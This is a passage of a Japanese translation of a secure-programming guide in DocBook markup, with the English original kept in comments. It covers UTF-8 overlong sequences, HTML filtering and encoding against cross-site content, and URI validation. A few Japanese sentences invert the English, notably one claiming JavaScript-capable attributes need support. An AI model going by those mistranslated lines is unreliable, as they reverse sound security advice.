If it doesn't harm security, it's probably a good practice to accept this
sequence since accepting it aids interoperability.
-->
場合によって、16 進の C0 80 に対して、それほどシビアにしたくない(もしくは
内部で何とかしたい)ケースがあるかもしれない、という点を示しておきます。
これは長すぎる文字列で、許可してしまうと ASCII の NUL(NIL)に相当することに
なります。C と C++ では NIL 文字を通常の文字列に入れてしまうとやっかいな
ことになりますので、データストリームの一部として NIL を表したい時に、この並び
を用いるケースがあります。Java ではこの操作を正式に記載しています。
データ処理を行う時に、内部的には C0 80 を好きに扱ってください。ただし、厳密に
言うと、そのデータを保存する前に 00 に変換し直す必要があります。
必要性にもよりますが、「シビアにならずに」、C0 80 を UTF-8 のデータ
ストリームとして認めてもよいかもしれません。
セキュリティに影響がでないなら、運用を助けるという観点で許可するのはよい案
だと思います。
</para>

<para>
<!--
Handling this can be tricky.
You might want to examine the C routines developed by Unicode to
handle conversions, available at
<ulink url="ftp://ftp.unicode.org/Public/PROGRAMS/CVTUTF/ConvertUTF.c">
ftp://ftp.unicode.org/Public/PROGRAMS/CVTUTF/ConvertUTF.c</ulink>.
It's unclear to me if these routines are open source software (the
licenses don't clearly say whether or not they can be modified), so
beware of that.
-->
この対処は微妙です。
Unicode フォーラムで開発した C による変換ルーチンを調査したいなら、
<ulink url="ftp://ftp.unicode.org/Public/PROGRAMS/CVTUTF/ConvertUTF.c">
ftp://ftp.unicode.org/Public/PROGRAMS/CVTUTF/ConvertUTF.c</ulink> を
利用してみてはどうでしょうか。
このルーチンがオープンソースかどうかはっきりしませんので(ライセンスを読んでも、
修正可能かどうかわかりません)、その点は注意してください。
</para>

</sect2>


<sect2 id="utf8-related-issues">
<!-- <title>UTF-8 Related Issues</title> -->
<title>UTF-8 関連について</title>

<para>
<!--
This section has discussed UTF-8, because it's the most popular
multibyte encoding of UCS, simplifying a lot of international text
handling issues.
However, it's certainly not the only encoding; there are other encodings,
such as UTF-16 and UTF-7, which have the same kinds of issues and
must be validated for the same reasons.
-->
このセクションでは UTF-8 を論じます。UCS で多バイトをエンコードするのに
最も一般的で、各種の国際化テキストが抱える問題を簡単に扱えるからです。
しかし、それだけがエンコードでないのも事実です。他のエンコードとして 
UTF-16 や UTF-7 のようなエンコードがあり、同様な問題を抱えていますので、
同じような理由で検証しなければいけません。
</para>

<para>
<!--
Another issue is that some phrases can be expressed in more than one
way in ISO 10646/Unicode.
For example, some accented characters can be represented as a single
character (with the accent) and also as a set of characters
(e.g., the base character plus a separate composing accent).
These two forms may appear identical.
There's also a zero-width space that could be inserted, with the
result that apparently-similar items are considered different.
Beware of situations where such hidden text could interfere with the program.
This is an issue that in general is hard to solve; most programs don't
have such tight control over the clients that they know completely how
a particular sequence will be displayed (since this depends on the
client's font, display characteristics, locale, and so on).
-->
もう 1 つの問題として、複数の表現法で表せるものが ISO 10646 や Unicode に
ある点です。
たとえば、アクセント文字の中には 1 文字(アクセント付き)で表現できるもの
がありますが、文字の組み合わせ(たとえば、ベースになる文字にアクセントをのせる)
で表現できるものもあります。
この 2 つの形式は、同一であるかもしれません。
幅がないスペースを挿入した結果、異なるものが見た目同じように見えることもあり
ます。
そのような隠れたテキストが存在する状況において、プログラムに影響が出る点に
注意を払ってください。
これは一筋縄では行かない問題です。プログラムは、特定の文字列をどのように表示
するのかを完全に掌握しているクライアントに対して、そのようなきつい制約を
かけていない場合が大半です(クライアントのフォントや表示特性、ロカール等に
依存しているので)。
</para>

</sect2>

</sect1>

<sect1 id="input-protection-cross-site">
<!-- <title>Prevent Cross-site Malicious Content on Input</title> -->
<title>サイトにまたがった悪意あるコンテンツ(Cross-site Malicious Content)を
防ぐ</title>

<para>
<!--
Some programs accept data from one untrusted user and pass that data
on to a second user; the second user's application may then process that
data in a way harmful to the second user.
This is a particularly common problem for web applications,
we'll call this problem ``cross-site malicious content.''
In short, you cannot accept input (including any form data)
without checking, filtering, or encoding it.
For more information, see
-->
信頼できないユーザからのデータを受け付けて、そのデータを次のユーザに渡す
プログラムもあります。二番目のユーザのアプリケーションが、見方によっては
そのユーザにとって迷惑になる処理をするかもしれません。
これは Web アプリケーションではありがちな問題です。この問題をサイトにまた
がった悪意あるコンテンツ(Cross-site Malicious Content)と呼ぶことにします。
つまり、入力(フォームデータも含む)を必ずチェックして、フィルタをかけるか、
エンコードするかしないといけません。
詳しい情報は、<xref linkend="cross-site-malicious-content"> を見てください。
</para>

<para>
<!--
Fundamentally, this means that all web application input must be
filtered (so characters that can cause this problem are removed),
encoded (so the characters that can cause this problem are encoded in
a way to prevent the problem), or
validated (to ensure that only ``safe'' data gets through).
Filtering and validation should often be done at the input, but
encoding can be done either at input or output time.
If you're just passing the data through without analysis, it's probably
better to encode the data on input (so it won't be forgotten), but
if you're processing the data, there are arguments for encoding on
output instead.
-->
原則として、Web アプリケーションへの入力はすべて、フィルタをかけたり(この
問題を起こす文字を削除する)、エンコードしたり(この問題を起こす文字が問題を
起こさないようにエンコードする)、検証したり(確実に「安全な」データだけが
通過するようにする)しなければいけないことを意味します。
フィルタリングや検証は、入力時に終わらせた方が良いのが普通ですが、エンコードは
入力時でも出力時でも済ませられます。
分析をせずにデータを通してしまうなら、入力時にデータをエンコードする方が良い
と思います(忘れないでしょうから)。しかしデータを処理しているなら、エンコード
を入力時ではなく出力時にする点については、まだどちらがよいか結論が出ていません。
</para>

</sect1>


<sect1 id="filter-html">
<!-- <title>Filter HTML/URIs That May Be Re-presented</title> -->
<title>再表示する可能性のある HTML や URI にはフィルタをかける</title>

<para>
<!--
One special case where cross-site malicious content must be
prevented are web applications
which are designed to accept HTML or XHTML from one user, and then send it on
to other users
(see <xref linkend="cross-site-malicious-content"> for
more information on cross-site malicious content).
The following subsections discuss filtering this specific kind of input,
since handling it is such a common requirement.
-->
サイトにまたがった悪意あるコンテンツ(Cross-site Malicious Content)を防がなけ
ればならない特徴的なケースの 1 つに、Web アプリケーションが挙げられます。
その Web アプリケーションは、あるユーザから HTML や XHTML を受け取り、それを
他のユーザに渡すように設計してあります(詳しい情報は 
<xref linkend="cross-site-malicious-content"> を見てください)。
下記のサブセクションでは、特にこの種の入力のフィルタリングについて論じます。
そういうケースを扱う必要性が当たり前になってきたからです。
</para>

<sect2 id="remove-html-tags">
<!-- <title>Remove or Forbid Some HTML Data</title> -->
<title>HTML データを削除したり禁じたりする</title>

<para>
<!--
It's safest to remove all possible (X)HTML tags so they cannot affect anything,
and this is relatively easy to do.
As noted above, you should already be identifying the list of legal
characters, and rejecting or removing those characters that aren't
in the list.
In this filter, simply don't include the following characters in
the list of legal characters: ``&lt;'', ``&gt;'', and ``&amp;'' (and if
they're used in attributes, the double-quote character ``&quot;'').
If browsers only operated according the HTML specifications, the ``&gt"''
wouldn't need to be removed, but in practice it must be removed.
This is because some browsers assume that the author of the page
really meant to put in an opening "&lt;" and ``helpfully'' insert one -
attackers can exploit this behavior and use the "&gt;" to create an
undesired "&lt;".
-->
(X)HTML タグをできるだけ削除すれば、最も安全になります。そうすれば、タグに
よる影響は何も起こらず、また実現するのも比較的簡単です。
以前指摘したように、正しい文字の一覧を確認しているはずですから、その一覧
にない文字を拒否したり、削除したりできるはずです。
正しい文字の一覧に載っているからといって、単純にこのフィルタへ次の文字を
入れてはいけません。その文字とは「&lt;」や「&gt;」、「&amp;」(属性に
使うなら二重引用符の「&quot;」も)です。
ブラウザが HTML の仕様に従って動作するだけなら、「&gt;」は削除する必要は
ありません。しかし、実際は削除しなければいけません。
理由は、開始を示す「&lt;」をそのページの著者が本当は置きたかった、と推測して
いるブラウザがあるからです。この「手助け」が、攻撃者につけ込む余地を与えて、
「&gt;」を使って「&lt;」という望ましくない文字を作ってしまいます。

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- CERT http://www.cert.org/tech_tips/malicious_code_mitigation.html -->
</para>

<para>
<!--
Usually the character set for transmitting HTML is
ISO-8859-1 (even when sending international text),
so the filter should also omit most control characters (linefeed and
tab are usually okay) and characters with their high-order bit set.
-->
文字集合を HTML で送るには、通常 ISO-8859-1(国際化テキストを送る時でさえ)
を使います。したがってフィルタは制御文字(改行やタブは普通は OK)のほとんど
とハイビットにある文字も削除するべきです。
</para>

<para>
<!--
One problem with this approach is that it can really surprise users,
especially those entering international text if all international
text is quietly removed.
If the invalid characters are quietly removed without warning,
that data will be irrevocably lost and cannot be reconstructed later.
One alternative is forbidding such characters and sending error messages
back to users who attempt to use them.
This at least warns users, but doesn't give them the functionality
they were looking for.
Other alternatives are encoding this data or validating this data,
which are discussed next.
-->
このやり方で問題になるものの 1 つは、国際化テキストを入力したユーザがその
テキストが知らない内に消されてしまい、びっくりするという点です。
無効な文字が何の警告もなく削除されると、そのデータは完全になくなり、後になって
再構成のしようがありません。
選択肢の 1 つとして、そのような文字を禁止した上で、文字を使おうとしたユーザ
にエラーメッセージを送り返してあげる方法があります。
少なくともこれでユーザに警告を出せますが、ユーザが望んでいる機能を提供でき
るわけではありません。
その他には、そのデータをエンコードする方法と検証する方法が挙げられます。
これについては次に議論します。
</para>
</sect2>

<sect2 id="encoding-html-tags">
<!-- <title>Encoding HTML Data</title> -->
<title>HTML データをエンコードする</title>

<para>
<!--
An alternative that is nearly as safe
is to transform the critical characters so they won't
have their usual meaning in HTML.
This can be done by translating all "&lt;" into "&amp;lt;",
"&gt;" into "&amp;gt;", and "&amp;" into "&amp;amp;".
Arbitrary international characters can be encoded in Latin-1
using the format "&amp;#value;" - do not forget the ending semicolon.
Encoding the international characters means you must know what the
input encoding was, of course.
-->
他にほぼ安全な方法として、危険な文字を変換してしまい、HTML 上で意味を
無くす、というものがあります。
すべての「&lt;」を「&amp;lt;」に、「&gt;」を「&amp;gt;」に、「&amp;」を
「&amp;amp;」にしてしまえばお終いです。
国際化文字ならどれも「&amp;#value;」という形式を使って、Latin-1 に
エンコードできます。最後のセミコロンを忘れないでください。
当然、入力エンコードをどうするかを理解していなければいければ、国際化
文字のエンコードはできません。
</para>

<para>
<!--
One possible danger here is that if these encodings are accidentally
interpreted twice, they will become a vulnerability.
However, this approach at least permits later users to see the
"intent" of the input.
-->
ここで考えられる危険には、エンコードした結果をたまたま 2 回処理すると
脆弱さが生まれてしまう、という現象が挙げられます。
しかしこのやり方では、少なくとも入力の「目的」が何であるのかを受けとった
ユーザに伝えられます。
</para>
</sect2>

<sect2 id="Validating-html-tags">
<!-- <title>Validating HTML Data</title> -->
<title>HTML データを検証する</title>

<para>
<!--
Some applications, to work at all, must accept HTML from third parties
and send them on to their users.
Beware - you are treading dangerous ground at this point; be sure
that you really want to do this.
Even the idea of accepting HTML from arbitrary places
is controversial among some security practitioners, because it is extremely
difficult to get it right.
-->
アプリケーションがすべて機能する過程で、HTML を第三者から受け付けなければ
ならず、その受け付けた内容を別のユーザに対して送る場合があります。これは
用心しなければいけません。今あなたは、とても危ない橋を渡っています。本当にこう
することが必要なのか、自問自答してください。
あらゆるところから HTML を受け入れる、という考えでさえ、セキュリティに精通した
人々の間では賛否両論です。なぜなら、正しく取得するのは極めて困難だからです。
</para>

<para>
<!--
However, if your application must accept HTML, and you believe
that it's worth the risk, at least identify a list
of ``safe'' HTML commands and only permit those commands.
-->
しかし、アプリケーションで HTML を受けざるを得ず、リスクを負うだけの価値がある
と思うのなら、少なくとも HTML の「安全な」コマンドの一覧を確認
してから、そのコマンドだけを許可するようにしてください。
</para>

<para>
<!--
Here is a minimal set of safe HTML tags
that might be useful for applications (such as guestbooks)
that support short comments:
&lt;p&gt; (paragraph),
&lt;b&gt; (bold),
&lt;i&gt; (italics),
&lt;em&gt; (emphasis),
&lt;strong&gt; (strong emphasis),
&lt;pre&gt; (preformatted text),
&lt;br&gt; (forced line break - note it doesn't require a closing tag),
as well as all their ending tags.
-->
安全な HTML タグでアプリケーション(ゲストブックのような)にとって役に立つ
ものを最低限ここにあげました。簡単なコメントをつけてあります。
&lt;p&gt; (パラグラフ)、
&lt;b&gt; (ボールド)、
&lt;i&gt; (イタリック)、
&lt;em&gt; (強調)、
&lt;strong&gt; (さらに強調)、
&lt;pre&gt; (事前に整形してあるテキスト),
&lt;br&gt; (強制改行。閉じ用のタグは必要ありません)
上記に対応して終了タグもあります。
</para>

<para>
<!--
Not only do you need to ensure that only a small set
of ``safe'' HTML commands are accepted, you also need to ensure
that they are properly nested and closed
(i.e., that the HTML commands are ``balanced'').
In XML, this is termed ``well-formed'' data.
A few exceptions could be made if you're accepting standard HTML
(e.g., supporting an implied &lt;/p&gt; where not provided before a
&lt;p&gt; would be fine), but trying to accept HTML in its full
generality (which can infer balancing closing tags in many cases)
is not needed for most applications.
Indeed, if you're trying to stick to XHTML (instead of HTML), then
well-formedness is a requirement.
Also, HTML tags are case-insensitive; tags can be upper case,
lower case, or a mixture.
However, if you intend to accept XHTML
then you need to require all tags to be in lower case
(XML is case-sensitive; XHTML uses XML and requires the tags to be
in lower case).
-->
少数の「安全な」HTML コマンド群だけを受け入れるだけではなく、それら
が入れ子になって閉じている(つまり、HTML コマンドが「対応がとれている」)
ように必ずしてください。
XML では、これを「整形式(well-formed)」データと呼んでいます。
標準 HTML を許しているなら、多少例外があるでしょう(たとえば、&lt;p&gt; 
が出てくる前のところに &lt;/p&gt; を想定するのは問題ないと思います)。
しかし、HTML ができる表現すべて(対応をとるための閉じ用タグが推測できる場合が
多い)を受け入れようとするのは、アプリケーション大半にとって必要ではありません。
もっとはっきり言うと、XHTML(HTML のかわりに) に忠実であろうとするなら、整形が
必要条件です。
また、HTML タグは大文字、小文字を区別しません。タグは大文字でも、小文字でも、
混ぜて使ってもかまいません。
しかし、XHTML を受け入れるつもりなら、タグはすべて小文字にしなければいけま
せん(XML は大文字、小文字を区別します。XHTML は XML を使い、タグが小文字で
あることが必要です)。
</para>

<para>
<!--
Here are a few random tips about doing this.
Usually you should design whatever surrounds the HTML text and the
set of permitted tags so that the contributed text cannot be misinterpreted
as text from the ``main'' site (to prevent forgeries).
Don't accept any attributes unless you've checked the attribute type and
its value; there are many attributes that support things such as
Javascript that can cause trouble for your users.
You'll notice that in the above list I didn't include any attributes at all,
which is certainly the safest course.
You should probably give a warning message if an unsafe tag is used,
but if that's not practical, encoding the critical characters
(e.g., "&lt;" becomes "&amp;lt;") prevents data loss while
simultaneously keeping the users safe.
-->
ここでいくつか TIPS を順不同であげておきます。
通常は、HTML テキスト及び許可すべきタグの集合に関する何かしらの設計を行なった
方が良いでしょう。
そうすれば、投稿されたテキストが「メイン」サイトのテキストとして誤って処理
されなくなります(偽造を防ぎます)。
どんな属性も、その属性タイプや値をチェックすることなしに受け入れてはいけ
ません。
Javascript のように、ユーザをトラブルに巻き込む恐れがある属性がたくさん
あります。それらの属性をサポートする必要があります。
上記の一覧には、属性がまったく存在しないことに注目してください。これが安全、
確実な方法なのです。
安全ではないタグが使われたなら、おそらく警告メッセージを出した方が良いでしょう。
しかしこれが現実的でないなら、危険な文字をエンコードして(たとえば「&lt;」を
「&amp;lt;」にする)、ユーザの安全を維持しつつ、データがなくなることは防いで
ください。
</para>
</sect2>

<sect2 id="Validating-uris">
<!-- <title>Validating Hypertext Links (URIs/URLs)</title> -->
<title>ハイパーテキストリンク(URI や URL)を検証する</title>

<para>
<!--
Careful readers will notice that I did not include the hypertext link tag
&lt;a&gt; as a safe tag in HTML.
Clearly, you could add
&lt;a href="safe uri"&gt; (hypertext link) to the safe list
(not permitting any other attributes unless you've checked their
contents).
If your application requires it, then do so.
However, permitting third parties to create links
is much less safe, because defining a ``safe URI''<footnote>
-->
注意深い方ならお気づきだと思いますが、ハイパーテキストのリンクタグ &lt;a&gt; 
を安全な HTML タグとはしていません。
明らかに、&lt;a href="safe uri"&gt;(ハイパーテキストリンク)を安全な一覧に
追加できたのにもかかわらずです(内容をチェックしない限り、他のどの属性も許可
しないこと)。
アプリケーションが必要としているなら、追加してもかまいません。
しかし第三者がリンクを張ることで、安全性がさらに低下します。理由は、
「安全な URI」の定義にあります。<footnote>
<para>
<!--
Technically, a hypertext link can be any ``uniform resource
identifier'' (URI).
The term "Uniform Resource Locator" (URL) refers to the subset of URIs
that identify resources via a representation of their primary access
mechanism (e.g., their network "location"), rather than identifying
the resource by name or by some other attribute(s) of that resource.
Many people use the term ``URL'' as synonymous with ``URI'', since URLs
are the most common kind of URI.
For example, the encoding used in URIs is actually called ``URL encoding''.
-->
技術的にはハイパーテキストのリンクは、「uniform resource identifier」(URI)
といえます。
「Uniform Resource Locator」(URL)は、URI のサブセットとして使われ、まず
アクセスする手段(たとえばネットワーク上の「位置」)を表示することで、リソース
を特定しています。リソースの名称やその他の属性では特定しません。
「URL」を「URI」と同じ意味で使う場合が多いのですが、それは URI を実現して
いる中で、一番使われているのが URL だからです。
たとえば、URI で使用するエンコードのことを実際は「URL エンコーディング」と
呼んでいます。
</para>
</footnote>
<!--
turns out to be very difficult.
Many browsers accept
all sorts of URIs which may be dangerous to the user.
This section discusses how to validate URIs from third parties for
re-presenting to others, including URIs incorporated into HTML.
-->
これが結果的にはとても面倒事になります。
多くのブラウザは、ユーザにとって危険かもしれないあらゆる URI をすべて受け
取ってしまうからです。
このセクションでは、第三者からやって来て、他の人に再表示する URI の検証方法
と、その URI を HTML にどのように組み込むかについて論じます。
</para>

<para>
<!--
First, let's look briefly at URI syntax (as defined by various specifications).
URIs can be either ``absolute'' or ``relative''.
The syntax of an absolute URI looks like this:
-->
まず URI の文法をざっと見て行きましょう(さまざまな仕様書で定義してあるので)。
URI は「絶対」も「相対」も可能です。
絶対 URI はこのようになります。
<programlisting>
scheme://authority[path][?query][#fragment]
</programlisting>
<!--
A URI starts with a scheme name (such as ``http''), the characters ``://'',
the authority (such as ``www.dwheeler.com''), a path
(which looks like a directory or file name), a question mark followed by
a query, and a hash (``#'') followed by a fragment identifier.
The square brackets surround optional portions - e.g., many URIs don't
actually include the query or fragment.
Some schemes may not permit some of the data (e.g., paths, queries, or
fragments), and many schemes have additional requirements unique to them.
Many schemes permit the ``authority'' field to identify
optional usernames, passwords, and ports, using this syntax for the
``authority'' section:
-->
URI はスキーム名(「http」のような)からはじまり、「://」、責任者部(authority)、
(「www.dwheeler.com」のように)、パス(ディレクトリ名やファイル名のような)
と続きます。この後に疑問符を置いてクエリが続いたり、ハッシュ(「#」)を置いて
フラグメント識別子が続いたりします。オプション部分は &lsqb;&rsqb; で囲んで
あります。ただ現実には、クエリやフラグメントを含む URI は多くはありません。
スキームには、許可しないデータ(たとえばパスやクエリ、フラグメント)が
ある一方、固有の条件を追加する場合もたくさんあります。
スキームは「責任者部」にオプションでユーザ名やパスワード、ポート番号を
許可している場合がよくあります。書き方は次の通りです。
<programlisting>
 [username[:password]@]host[:portnumber]
</programlisting>
<!--
The ``host'' can either be a name (``www.dwheeler.com'') or an IPv4
numeric address (127.0.0.1).
A ``relative'' URI references one object relative to the ``current'' one,
and its syntax looks a lot like a filename:
-->
「host」は名前(「www.dwheeler.com」)か IPv4 の数値形式のアドレス(127.0.0.1)
を指定できます。
「相対」URI はあるオブジェクトを「現在の」オブジェクトからの相対位置で
参照し、その書き方はファイル名にとてもよく似ています。
<programlisting>
path[?query][#fragment]
</programlisting>
<!--
There are a limited number of characters permitted in most of the URI,
so to get around this problem, other 8-bit characters may be ``URL encoded''
as %hh (where hh is the hexadecimal value of the 8-bit character).
For more detailed information on valid URIs, see IETF RFC 2396 and its
related specifications.
-->
たいていの URI では、許可している文字数に制限があり、この問題を回避する
ために 8 ビット文字を「URL エンコード」して %hh(hh には 8 ビット文字が 
16 進の値で入ります) とします。
正しい URI について、さらに詳しい情報は IETF RFC 2396 とそれに関連した
規格書を見てください。
</para>

<para>
<!--
Now that we've looked at the syntax of URIs, let's examine the risks
of each part:
-->
ここまで URI の書き方を見てきましたので、こんどはそれぞれの部分が持つ
危険性を調べてみましょう。
<itemizedlist>
<!--
<listitem><para>Scheme:
Many schemes are downright dangerous.
Permitting someone to insert a ``javascript'' scheme into your material
would allow them to trivially mount denial-of-service attacks
(e.g., by repeatedly creating windows so the user's machine freezes or
becomes unusable).
More seriously, they might be able to exploit a known vulnerability in
the javascript implementation.
Some schemes can be a nuisance, such as ``mailto:'' when a mailing
is not expected, and some schemes may not be sufficiently secure
on the client machine.
Thus, it's necessary to limit the set of allowed schemes to
just a few safe schemes.
-->
<listitem><para>スキーム：スキームの大部分は実に危険です。
「javascript」を含むスキームを挿入できるようにしてしまうと、ちょっとした
サービス拒否攻撃を実装することになってしまいます(たとえば、ウインドウ作成を
繰り返すことで、ユーザのマシンがフリーズして、利用できなくなります)。
もっと深刻なのは、javascript の実装にある既知の脆弱性を攻撃される恐れがある
点です。
スキームには「mailto:」のように、メールを出すつもりがなくても出してしまう
困ったものや、クライアントマシンで十分に安全が確保できないものもあります。
つまり、少数の安全なスキームだけに限定して、スキームを許可する必要があります。
</para></listitem>
<!--
<listitem><para>Authority:
Ideally, you should limit user links to ``safe'' sites, but this is
difficult to do in practice.
However, you can certainly do something about usernames, passwords,
and port numbers: you should forbid them.
Systems expecting usernames (especially with passwords!) are probably
guarding more important material;
rarely is this needed in publicly-posted URIs, and someone could try
to use this functionality to convince users
to expose information they have access to and/or
use it to modify the information.
Such URIs permis semantic attacks; see
<xref linkend="semantic-attacks">
for more information.
Usernames without passwords are no less dangerous, since browsers typically
cache the passwords.
You should not usually permit specification of ports, because
different ports expect different protocols and the resulting
``protocol confusion'' can produce an exploit.
For example, on some systems it's possible to use the ``gopher'' scheme
and specify the SMTP (email) port to cause a user to send email of the
attacker's choosing.
You might permit a few special cases (e.g., http ports 8008 and 8080),
but on the whole it's not worth it.
The host when specified by name actually has a fairly limited character set
(using the DNS standards).
Technically, the standard doesn't permit the underscore (``_'') character,
but Microsoft ignored this part of the standard and even requires the
use of the underscore in some circumstances, so you probably should allow it.
Also, there's been a great deal of work on supporting international
characters in DNS names, which is not further discussed here.
-->
<listitem><para>責任者部：
欲を言えば、ユーザには「安全な」サイトへのリンクだけを許可した方が良いでしょう。
しかしそれは現実的にとても困難です。
しかし、ユーザ名やパスワード、ポート番号に対して何か手を打たなければいけません。
禁止すべきなのです。
ユーザ名(とりわけパスワードをともなった)を必要としているシステムはおそらく
より重要な情報をガードしています。
誰でもポストできる URI では、ほとんどこの機能は必要ではありません。また
ユーザがアクセスした情報を見せたり、ユーザが情報を修正したりするのを
ユーザに分かってもらうために、この機能を利用しているところもあります。
このような URI では、セマンティック攻撃(semantic attack)が可能になります。
詳しくは、<xref linkend="semantic-attacks"> を見て下さい。
パスワード無しのユーザ名もやはり危険です。ブラウザはたいてい、パスワード
をキャッシュするからです。
通常は、ポート指定はすべきではありません。理由は、ポートが異なれば、
プロトコルも異なることを期待して、結果的に「プロトコルの混乱」で攻撃の隙を
与えるからです。
たとえば、あるシステムでは「gopher」スキームが利用可能で、SMTP(電子メール)
ポートを指定することで、あるユーザに攻撃者が送りたいメールを送らせられます。
特殊なケース(たとえば http ポートを 8008 や 8080 とする)は認めてもよいかも
しれませんが、全体的に見ると、そうするだけの価値はありません。
ホストを名前で指定する場合に、かなり文字集合に制限があります(DNS の仕様を
使うと)。
技術的に言うと、仕様ではアンダースコア(「_」)を認めていませんが、Microsoft 
はこの仕様の部分を無視しているだけでなく、ある環境ではアンダースコアの
使用を必要とさえしています。したがっておそらく認めざるを得ないケースがある
でしょう。
また DNS 名で多言語をサポートする作業に精力をつぎ込んでいますが、ここでは
これ以上は論じません。
</para></listitem>
<!--
<listitem><para>Path:
Permitting a path is usually okay, but unfortunately some applications
use part of the path as query data, creating an opening we'll discuss next.
Also, paths are allowed to contain phrases like ``..'', which can expose
private data in a poorly-written web server;
this is less a problem than it once was and really should be fixed
by the web server.
Since it's only the phrase ``..'' that's special, it's reasonable to
look at paths (and possibly query data) and forbid ``../'' as a content.
However, if your validator permits URL escapes, this can be difficult;
now you need to prevent versions where some of these characters are
escaped, and may also have to deal with various ``illegal'' character
encodings of these characters as well.
-->
<listitem><para>パス：
普通、パスを許可して問題ありませんが、残念ながらパスの一部をクエリとして
使って、穴を空けてしまうアプリケーションがあります。これについては次で論じます。
また、パスに「..」と同種の書式を設定できますので、いい加減な実装をしている Web 
サーバでは、プライベートなデータをさらしかねません。
これは、以前ほど問題ではなくなっているので、Web サーバ側できちんと修正して
ください。
「..」という書式だけは特別で、パス(できればクエリも)見て、「../」を設定
できないようにしてください。
しかし、検証する仕組みが URL エスケープを許可していると、これは難しくなる
でしょう。そこで必要になるのは、これらの文字をエスケープしているバージョンを
避け、かつ、これらの文字に対するさまざまな「不正」エンコードをうまく扱うよう
にしなければならないことです。
</para></listitem>
<!--
<listitem><para>Query:
Query formats (beginning with "?") can be a security risk
because some query formats actually cause actions to occur on the serving end.
They shouldn't, and your applications shouldn't, as discussed in
<xref linkend="avoid-get-non-queries"> for more information.
However, we have to acknowledge the reality as a serious problem.
In addition, many web sites are actually ``redirectors'' - they take a
parameter specifying where the user should be redirected, and send back
a command redirecting the user to the new location.
If an attacker references such sites and provides
a more dangerous URI as the redirection value, and the
browser blithely obeys the redirection, this could be a problem.
Again, the user's browser should be more careful, but not all user
browsers are sufficiently cautious.
Also, many web applications have vulnerabilities that can be
exploited with certain query values, but in general this is hard to
prevent.
The official URI specifications don't sanction the ``+'' (plus) character,
but in practice the ``+'' character often represents the space character.
-->
<listitem><para>クエリ：
クエリのフォーマット(「?」ではじまる)がセキュリティ上のリスクになるかも
しれません。というのも、クエリのフォーマットには、実際はクライアント側で
動作を起こすものがあるからです。
そうあってはいけないし、あなたのアプリケーションも同様です。
この件については <xref linkend="avoid-get-non-queries"> に詳しい情報があり
ます。
しかし重大な問題として、事実を直視する必要があります。
加えて、Web サイトの多くは、現実には「リダイレクトを提供する場所」です。
リダイレクトするには、ユーザが向かうべきところを特定できるパラメタを取得し、
ユーザに新しい場所へリダイレクトするコマンドを送り返します。
攻撃者がそのようなサイトを参考にして、さらに危険な URI にリダイレクトする
値を提供し、その値でブラウザが軽率にリダイレクトしてしまうと、これは問題に
なります。
繰り返しになりますが、ブラウザにはもっと注意を払ってください。しかし、十分な
注意をユーザがすべて払っているわけではありません。
また、Web アプリケーションには脆弱さがある場合が多く、あるクエリ値で攻撃
を受けてしまう可能性があります。しかしこれを防ぐのは困難です。
公式な URI の規格では、「+」(プラス)文字を認めていませんが、現実には
「+」文字はスペース文字を表わすのによく使われています。
</para></listitem>
<!--
<listitem><para>Fragment:
Fragments basically locate a portion of a document; I'm unaware of
an attack based on fragments as long as the syntax is legal, but the
legality of its syntax does need checking.
Otherwise, an attacker might be able to insert a character such as the
double-quote (") and prematurely end the URI (foiling any checking).
-->
<listitem><para>フラグメント：
フラグメントはそもそもドキュメントの一部です。文法が正しいならば、
フラグメントに対する攻撃はないと思っていましたが、その文法の正当さ自体を
チェックする必要があります。
それでも攻撃者は、二重引用符(")のような文字を入れたり、中途半端に URI を
終わらせたりできるかもしれません(チェックの裏をかいて)。
</para></listitem>
<!--
<listitem><para>URL escapes:
URL escapes are useful because they can represent arbitrary 8-bit
characters; they can also be very dangerous for the same reasons.
In particular, URL escapes can represent control characters, which many
poorly-written web applications are vulnerable to.
In fact, with or without URL escapes, many web applications are vulnerable
to certain characters (such as backslash, ampersand, etc.), but again
this is difficult to generalize.
-->
<listitem><para>URL エスケープ：
URL エスケープは便利です。というのは、どんな 8 ビット文字も表現できるからです。
しかし同時にとても危険であり、それには訳があります。
特に、URL エスケープは制御文字が表現でき、出来の良くない Web アプリケーション
の多くがこの表現に対して無防備です。
実際には URL エスケープがあろうがなかろうが、Web アプリケーションはある文字
に対して無防備です(バックスラッシュやアンパサンド等)。しかしこれもやはり一般化
するのが困難です。
</para></listitem>
<!--
<listitem><para>Relative URIs:
Relative URIs should be reasonably safe (if you manage the web site well),
although in some applications there's no good reason to allow them either.
-->
<listitem><para>相対 URI：
相対 URI はかなり安全なはずですが(Web サイトをうまく運営していれば)、
アプリケーション次第で、相対 URI を許可しない方がよいものもあります。
</para></listitem>
</itemizedlist>
<!--
Of course, there is a trade-off with simplicity as well.
Simple patterns are easier to understand, but
they aren't very refined (so they tend to be too permissive or
too restrictive, even more than a refined pattern).
Complex patterns can be more exact, but they are more likely to have
errors, require more performance to use, and can be hard to
implement in some circumstances.
-->
もちろん、単純さとのトレードオフもあります。
単純なパタンは理解しやすいのですが、正確だとは言えません(単純であるがゆえに
あまりに甘いか、あまりにきついかのどちらかです。それが正確なパタンであったと
しても)。
複雑なパタンはより正確になり得ますが、さらにエラーが起こったり、より性能が
必要となったりする恐れがあります。また環境によっては、実行するのが困難な場合
もありえます。
</para>

<para>
<!--
Here's my suggestion for a ``simple mostly safe'' URI pattern which is
very simple and can be implemented ``by hand'' or through a regular
expression; permit the following pattern:
-->
ここでは私の案として、「単純かつほとんど安全な」URI パタンを紹介します。
これは「手作業」で実行できる程単純で、正規表現を使っても可能です。
下記が許可するパタンです。
<programlisting width="79">
(http|ftp|https)://[-A-Za-z0-9._/]+
</programlisting>
</para>

<para>
<!--
This pattern doesn't permit many potentially dangerous capabilities
such as queries, fragments, ports, or relative URIs,
and it only permits a few schemes.
It prevents the use of the ``%'' character, which is used in URL escapes
and can be used to specify characters that the server may not be
prepared to handle.
Since it doesn't permit either ``:'' or URL escapes, it doesn't permit
specifying port numbers, and even using it to redirect to a
more dangerous URI would be difficult (due to the lack of the escape character).
It also prevents the use of a number of other characters; again, many
poorly-designed web applications can't handle a number of
``unexpected'' characters.
-->
このパタンは潜在的に危険となる可能性のあるようなクエリやフラグメント、ポート、
相対 URI 等を認めず、わずかなスキームだけしか許可していません。
これは「%」文字の使用を防ぐことで、URL エスケープを避け、サーバがうまく扱え
ないかもしれない文字を特定できるようになります。
また「:」や URL エスケープも許可していないので、ポートを指定するのも
認めていませし、より危険な URI へのリダイレクトも困難になります(エスケープ
文字が抜けているため)。
